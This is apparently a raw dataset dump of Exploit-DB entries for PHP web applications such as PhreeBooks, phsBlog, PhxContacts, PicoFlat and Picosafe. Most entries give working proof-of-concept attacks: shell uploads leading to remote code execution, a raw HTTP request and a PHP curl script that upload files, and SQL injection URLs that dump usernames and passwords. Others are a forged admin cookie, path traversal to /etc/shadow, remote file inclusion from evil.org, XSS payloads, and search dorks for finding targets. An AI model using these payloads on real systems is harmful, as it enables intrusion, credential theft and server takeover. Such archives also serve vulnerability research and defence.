deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46644
Description: PhreeBooks ERP 5.2.3 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2019-04-03
Author: Abdullah Çelebi

Exploit:
PhreeBooks ERP v5.2.3 - Arbitrary File Upload

# Date: 03.04.2019
# Exploit Author: Abdullah Çelebi
# Vendor Homepage: https://www.phreesoft.com/
# Software Link: https://sourceforge.net/projects/phreebooks/files/latest/download
# Category: Webapps
# Version: 5.2.3
# Tested on: WAMPP @Win
# Software description:
PhreeBooks 5 is a completely new web based application that utilizes the
redesigned Bizuno ERP library from PhreeSoft. Bizuno supports PHP 7 along
with all the latest versions of mySQL. Additionally, Bizuno utilizes the
jQuery EasyUI graphical interface and will be also enhanced for mobile
devices and tablets.

# Vulnerabilities:
# An attacker could run a remote code after an authorized user login using
the parameter.

# Code Section @Tools>Image Manager

//
<script type="text/javascript">

function imgAction(action) { jq('#imgAction').val(action); imgRefresh(); }
function imgClickImg(strImage) {
    var lastChar = strImage.substr(strImage.length - 1);
    if (lastChar == '/') {
        jq('#imgMgrPath').val(jq('#imgMgrPath').val()+'/'+strImage);
        jq('#imgAction').val('refresh');
        imgRefresh();
    } else if (jq('#imgTarget').val()) {
        var target = jq('#imgTarget').val();
        var path   = jq('#imgMgrPath').val();
        var fullPath= path ? path+'/'+strImage : strImage;
        jq('#imgTarget').val(fullPath);
        jq('#'+target).val(fullPath);
        jq('#img_'+target).attr('src',
bizunoAjaxFS+'&src=0/images/'+fullPath);
        bizWindowClose('winImgMgr');
    }
}
function imgRefresh() {
    var target = jq('#imgTarget').val();
    var path   = jq('#imgMgrPath').val();
    var search = jq('#imgSearch').val();
    var action = jq('#imgAction').val();
    var shref  =
'index.php?&p=bizuno/image/manager&imgTarget='+target+'&imgMgrPath='+path+'&imgSearch='+search+'&imgAction=';
    if (action == 'upload') {
        jq('#frmImgMgr').submit(function (e) {
            jq.ajax({
                url:        shref+'upload',
                type:       'post',
                data:       new FormData(this),
                mimeType:   'multipart/form-data',
                contentType:false,
                cache:      false,
                processData:false,
                success:    function (data) { processJson(data);
jq('#winImgMgr').window('refresh',shref+'refresh'); }
            });
            e.preventDefault();
        });
        jq('#frmImgMgr').submit();
    } else {
        jq('#winImgMgr').window('refresh', shref+action);
    }
}
jq('#winImgMgr').window({'title':'Image Manager: /'});
</script>



# POC - RCE via Arbitrary File Upload :

Process during upload malicious file;
http://localhost/PhreeBooksERP/index.php?&p=bizuno/image/manager&imgTarget=&imgMgrPath=&imgSearch=&imgAction=upload

Post section details;
imgSearch=&imgFile=evilcode_key.php

Result;
http://localhost/PhreeBooksERP/bizunoFS.php?&src=0/images/evilcode_key.php
Exploit-DB #48423
Description: PhreeBooks ERP 5.2.5 - Remote Command Execution
Type: webapps
Platform: php
Date: 2020-05-05
Author: Besim

Exploit:
# Exploit Title: PhreeBooks ERP 5.2.5 - Remote Command Execution
# Date: 2020-05-01
# Author: Besim ALTINOK
# Vendor Homepage: https://www.phreesoft.com/
# Software Link: https://sourceforge.net/projects/phreebooks/
# Version: v5.2.4, v5.2.5
# Tested on: Xampp
# Credit: İsmail BOZKURT

-------------------------------------------------------------------------------------

There are no file extension controls on Image Manager (5.2.4) and on Backup
Restore. If an authorized user is obtained, it is possible to run a
malicious PHP file on the server.
--------------------------------------------------------------------------------------

One of the Vulnerable File: (backup.php)
-----------------------------------------

RCE PoC (Upload Process)
--------------------------------------------------------------------------------------

POST /pblast/index.php?&p=bizuno/backup/uploadRestore HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 *********************
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/pblast/index.php?&p=bizuno/backup/managerRestore
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]620170
Content-Length: 231
DNT: 1
Connection: close
Cookie: **************************************************

----------------------------[PII_REDACTED][PII_REDACTED]620170
Content-Disposition: form-data; name="fldFile"; filename="shell.php"
Content-Type: text/php

<? phpinfo(); ?>

----------------------------[PII_REDACTED][PII_REDACTED]620170--



Shell directory:
-------------------------------
- http://localhost/pblast/myFiles/backups/shell.php
Exploit-DB #16249
Description: phreebooks r30rc4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-26
Author: AutoSec Tools

Exploit:
------------------------------------------------------------------------
Software................PhreeBooks R30RC4
Vulnerability...........Local File Inclusion
Download................http://sourceforge.net/projects/phreebooks
Release Date............2/22/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
------------------------------------------------------------------------

--PoC--
http://localhost/phreedom/index.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2fwin.ini%00


------------------------------------------------------------------------
Software................PhreeBooks R30RC4
Vulnerability...........Reflected Cross-site Scripting
Download................http://sourceforge.net/projects/phreebooks
Release Date............2/22/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
------------------------------------------------------------------------

--PoC--
http://localhost/phreedom/modules/shipping/pages/popup_shipping/js_include.php?form=';alert(0)%3C/script%3E

http://localhost/phreedom/modules/shipping/methods/fedex_v7/label_mgr/js_include.php?form=%22;alert(0)%3C/script%3E
Exploit-DB #6190
Description: phsBlog 0.1.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-08-01
Author: cOndemned

Exploit:
#####################################################################################
#
#   Name    :   phsBlog v0.1.1 Multiple Remote SQL Injection Vulnerabilities
#   Author  :   cOndemned [Dark-Coders member]
#   Greetz  :   ZaBeaTy, GregStar, str0ke, 0in, suN8Hclf, ixos, TBH, Avantura :**
#
#####################################################################################


Proof of Concept :

    Magic Quotes = On/Off 

        http://[host]/[phsBlog_path]/comments.php?eid=-1+UNION+SELECT+concat_ws(0x3a,username,password),2+FROM+phsblog_users/*

    Magic Quotes = Off

        http://[host]/[phsBlog_path]/index.php?cid='-1+UNION+SELECT+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13+FROM+phsblog_users/*
        http://[host]/[phsBlog_path]/entries.php?urltitle='-1+UNION+SELECT+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13+FROM+phsblog_users

# milw0rm.com [2008-08-01]
Exploit-DB #5467
Description: PhShoutBox 1.5 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-04-18
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+ PhShoutBox <= 1.5 (final) Insecure Cookie Handling (Arbitrary Authentication)  +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 18 April 2008
Script Download: http://phphq.net/scripts.php?p=free-scripts&id=2
DORK: inurl:"phshoutbox.php"

Vendor Has Not Been Notified!


DESCRIPTION: 
PhShoutBox suffers from insecure cookie handling, allowing the remote attacker to craft a cookie that 
makes the attacker look like a admin, this works because the admin panel only checks the password
if a password has been posted using the php vars "$_POST" if POST isnt set, then the cookies will be checked
for existance if they exist then it will grant admin.

the javascript code below is the easyiesy way to do this, just paste it in your browser whilst
at the vulnerable site, then visit "admin.php"


Vulnerability:
version 1.5:   javascript:document.cookie = "phadmin=True; path=/;";
version < 1.4: javascript:document.cookie = "ssbadmin=True; path=/;";


NOTE/TIP: 
admin login is at "/admin.php" on 1.5 final
and at "/shoutadmin.php" on 1.4 & below


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+ PhShoutBox <= 1.5 (final) Insecure Cookie Handling (Arbitrary Authentication)  +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-18]
Exploit-DB #10574
Description: phUploader 2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-20
Author: wlhaan-hacker

Exploit:
# Exploit Title: phUploader Remote File Upload Vulnerability
# Date: 20-12-2009
# Author: wlhaan-hacker
#
# Version: v2
# CVE : [N/A]

==========================================================================

~ Script Name : phUploader)
~ Language : php
~
~ email: iit@hotmail.com
~
============================================================

Dork : Powered By phUploader



============================================================
Exploit :



http://{target}/script path/upload.php

chang shell

shell.php.flac

go to shell

http://{target}/script path/uploads/shell.php.flac

Exploit viduo
Download:
http://filaty.com/f/912/99431/up5.rar.html
============================================================

thank you for

shooq hacker
============================================================

www.sa-hacker.com/vb
============================================================
Exploit-DB #18432
Description: phux Download Manager - Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-01-30
Author: Red Security TEAM

Exploit:
# 
# Title     : phux Download Manager Blind SQL Injection Vulnerability
# Author    : Red Security TEAM
# Date      : 30/01/2012
# Risk      : High
# Demo      : http://demos.phux.org/download_manager/
# Tested On : CentOS
# Contact   : Info [ 4t ] RedSecurity [ d0t ] COM
# Home      : http://RedSecurity.COM
#
# Exploit   :
# http://server/download.php?file=[BlindSQLi]
#
Exploit-DB #27510
Description: PhxContacts 0.93 - 'carnet.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-03-29
Author: Morocco Security Team

Exploit:
source: https://www.securityfocus.com/bid/17306/info

PhxContacts is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

PhxContacts 0.93.1 and prior are vulnerable; other versions may also be affected.

http://www.example.com/carnet.php?view_cat=&all_lines=true&motclef=[sql]
http://www.example.com/carnet.php?view_cat=2&nbr_line_view=[sql]
Exploit-DB #27511
Description: PhxContacts 0.93 - 'contact_view.php?id_contact' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-29
Author: Morocco Security Team

Exploit:
source: https://www.securityfocus.com/bid/17306/info
 
PhxContacts is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
PhxContacts 0.93.1 and prior are vulnerable; other versions may also be affected.

http://www.example.com/contact_view.php?id_contact=[sql]
Exploit-DB #27512
Description: PhxContacts 0.93 - 'login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-29
Author: DaBDouB-MoSiKaR

Exploit:
source: https://www.securityfocus.com/bid/17307/info

PhxContacts is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

PhxContacts versions 0.93.1 and prior are reported vulnerable.

http://www.example.com/login.php?m=[xss]
Exploit-DB #18549
Description: phxEventManager 2.0 Beta 5 - 'search.php' search_terms SQL Injection
Type: webapps
Platform: php
Date: 2012-03-02
Author: skysbsb

Exploit:
# Exploit Title: phxEventManager 2.0 beta 5 search.php search_terms SQL
Injection Vulnerability
# Date: 01/03/2012
# Author: skysbsb
# Software Link: http://sourceforge.net/projects/phxeventmanager/
# Version: Web Application
# Tested on: Apache/*nix
# Dork: intext: "Powered by phxEventManager"
# Code :

Exploited Link :

URL: http://vulnsite.com/path_to_pem/search.php?
POSTDATA:
datasubmit=1&searchtype=events&s_event_names=on&s_event_descriptions=on&s_event_presenters=on&s_event_contacts=on&search_terms='

Result:

MDB2 Error: syntax error, _doQuery: [Error message: Could not execute
statement] [Last executed query: SELECT * FROM pem_entries as e, pem_dates
as d WHERE e.id = d.entry_id AND () AND e.entry_status != 2 AND
d.date_status != 2 AND (e.entry_visible_to_public = 1 AND
d.date_visible_to_public = 1) AND (e.entry_status != 0 AND d.date_status !=
0) AND d.when_begin >= DATE_SUB(CURDATE(),INTERVAL 1 YEAR) ] [Native code:
1064] [Native message: You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax
to use near ') AND e.entry_status != 2 AND d.date_status != 2 AND
(e.entry_visible_to_public ' at line 1]

#skysbsb mailto:skysbsb[atttt]gmail.com



-- 
David Gomes Guimar�es
Exploit-DB #29644
Description: Pickle 0.3 - 'download.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-02-24
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/22703/info

picKLE is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

Version 0.3 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/Pickle/src/download.php?img=1&file=../../../../../../../../../../../../../etc/shadow&rotation=0&img=0
Exploit-DB #10802
Description: PicMe 2.1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-30
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : PicMe v2.1.0 Upload Shell Vulnerability                                |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |                
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Powered by: PicMe V 2.1.0                                               |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : Upload Shell                                                            | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/picme_210/join.php (join)
| 2- you find pss in your E-mal+ after Activated Login go 2 http://server/picme_210/upload.php
| 3- you find in http://server/picme_210/uploads/

================================   Dz-Ghost Team   ========================================
Greetz : Exploit-db Team (loneferret+Exploits+dookie2000ca)
all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 * www.hackteach.org
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * www.cyber-mirror.org
www.albasrah-forums.com * www.amman-dj.com * www.forums.ibb7.com * www.maker-sat.com * www.owned-m.com
www.vb.7lanet.com * www.3kalam.com * Stake (v4-team.com) * www.3kalam.com * www.dev-chat.com  
www.al7ra.com * Cyb3r IntRue (avengers team) * www.securityreason.com * www.packetstormsecurity.org
www.sazcart.com * www.best-sec.net * www.app.feeddigest.com * www.forum.brg8.com * www.zone-h.net
www.m-y.cc * www.hacker.ps * no-exploit.com * www.bug-blog.de * www.gem-flash.com * www.soqor.org
www.h4ckf0ru.com * www.bawassil.com * www.host4ll.com * www.hacker-top.com * www.xp10.me 
www.forums.soqor.net * www.alkrsan.net * blackc0der (www.forum.aria-security.com)  
SoldierOfAllah (www.m4r0c-s3curity.cc)www.arhack.net * www.google.com * www.np-alm7bh.com 
www.lyloo59.skyrock.com * www.sec-eviles.com * www.snakespc.com * www.kadmiwe.net * www.syrcafe.com 
www.mriraq.com * www.dzh4cker.l9l.org * www.goyelang.cn * www.h-t.cc * www.arabic-m.com * www.74ck3r.com 
r1z (www.sec-r1z.com) * omanroot.com * www.bdr130.net * www.zac003.persiangig.ir * www.0xblackhat.ir
www.mormoroth.net * www.securitywall.org * www.sec-code.com *
-------------------------------------------------------------------------------------------
Exploit-DB #4520
Description: PicoFlat CMS 0.4.14 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-11
Author: 0in

Exploit:
#PicoFlat CMS Remote file inclusion
#f0und bY 0in
#download:http://sourceforge.net/project/showfiles.php?group_id=195156&package_id=230351&release_id=533796
#Greetings to:Dark-coders team members: Die-angel,Slim,Umbro
#Others: Joker186,Kaja,Wojto111,Rade0n
#And funny n00b-firends: Pucik and Steryd ;]
FUN BUG in index.php:
83: if (isset($_GET['pagina'])) { $pagina = $_GET['pagina']; }else{ $pagina = "news_publisher.php"; }

107:   <?php  include $pagina; ?>

EXPLOIT:
http://x.com/index.php?pagina=http://evil.org/shell.txt?

# milw0rm.com [2007-10-11]
Exploit-DB #5690
Description: PicoFlat CMS 0.5.9 (Windows) - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-05-29
Author: gmda

Exploit:
---------------------------------------------------------------------------
type attacak:Local File inclusion and that the possibility of a
Directory traversal Windows disclosure boot.ini

site name picoflatcms 0.5.9

download http://picoflat.altervista.org/index.php?

by gmda

<!-- gmda@email.it -->


---------------------------------------------------------------------------

bug code

<?php             if (eregi('://', $pagina) || eregi('\?', $pagina)) {
                $pagina = "";
                include "notfound.php";
            }else{
                include $pagina;             }
        ?>

p.o.c

http://127.0.0.1/path/index.php?pagina=/./././././././boot.ini

http://127.0.0.1/path/index.php?pagina=[file]

# milw0rm.com [2008-05-29]
Exploit-DB #18670
Description: PicoPublisher 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2012-03-28
Author: ZeTH

Exploit:
# Exploit Title : PicoPublisher v2.0 Remote SQL injection
# Date : 29/03/2012
# Author : ZeTH
# Contact : zeth/at/hacktheplan8/dot/com http://www.hacktheplan8.com
# Vendor : Pico Software 
# Site : http://pico.no/
# Version : 2.0
# Price : $29,00
# Dork : intext:"Drives med PicoPublisher"
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
--[1]-- Introduction
PicoPublisher business software
PicoPublisher is a product from Pico Software

[Manage your website]

PicoPublisher makes it easy to manage your website. With the built in 
templates you can add columns, slideshows, tabs, boxes and videos 
directly from the text editor.

[Manage your customers]

CRM systems are often too expensive for small businesses. With 
PicoPublisher you can manage your customers just as easy as your 
website. And at the same place!

[Create invoices]

Create professional PDF invoices in seconds. Add products to the 
database and insert products to the invoice directly. You will get
notifications when invoices are overdue.


--[2]-- Vulnerability
Files :
[+] page.php
[+] single.php

Attack Method : Remote SQL injection

POC :
[+] http://site/page.php?id=SQLi
[+] http://site/single.php?id=SQLi

Tables :

+-------------------+
| customers
| expenses
| gallery_category
| gallery_photos
| invoice_reminders
| invoices
| invoices_product
| menu_items
| menus
| notes
| options
| orders
| orders_product
| pages
| pico_comments
| pico_config
| pico_karma_voted
| posts
| product_list
| users
+-------------------+

--[3]-- Greetz
hacktheplan8 [hellcome to new friends kasp3r, Pitung]
MainHack Brotherhood, Kecoak Elektronik, Echo
packetstormsecurity, exploit-db, 1337day
Paman, Vrs-hCk, OoN_BoY, em|nem, [S]hiro, Martin, xshadow, ElDiablo, 
Furkan, pizzyroot, H312Y
Exploit-DB #40454
Description: Picosafe Web GUI - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-10-05
Author: Shahab Shamsi

Exploit:
[-] Title  : Picosafe Web Gui - Multiple Vulnerabilities 
[-] Author : Shahab Shamsi
[-] Vendor : https://github.com/embeddedprojects/picosafe_webgui
[-] Category : Webapps
[-] Date : 01.October.2016



Vulnerable page :
picosafe_webgui/webinterface/js/filemanager/filemanager.php




==========================
|  Remote File Upload :
==========================
Vulnerable Source (RFU) :
52: chmod($to, 0755); 
48: $to = realpath($curdir) . '/' . $name; 
40: function uploadfile($curdir)
46: $name = $_FILES['files']['name'][0];

Exploit :
<?php
$uploadfile="YourFileName";
$ch = curl_init("http://localhost:8282/picosafe_webgui/webinterface/js/filemanager/filemanager.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('file'=>"@$uploadfile"));
curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
print "$result";
?>

Location :
http://localhost:8282/picosafe_webgui/webinterface/js/filemanager/FileName


==========================
|  Local File Disclosure :
==========================

Vulnerable Source (LFD) :
17: $file = base64_decode($_GET['file']);
18: DownloadFile($file);
111: readfile($file);

POC :
http://localhost:8282/picosafe_webgui/webinterface/js/filemanager/filemanager.php?file=base64code-Filename


==========================
|  Cross-Site Scripting :
==========================

Vulnerable Source (XSS) :
8: echo json_encode($data); 
7: $data = sortfiles($data); 
6: $data = listdirectory($directory); 
5: $directory = base64_decode($_GET['directory']); 

POC :
http://localhost:8282/picosafe_webgui/webinterface/js/filemanager/filemanager.php?directory=Base64-ScriptingCode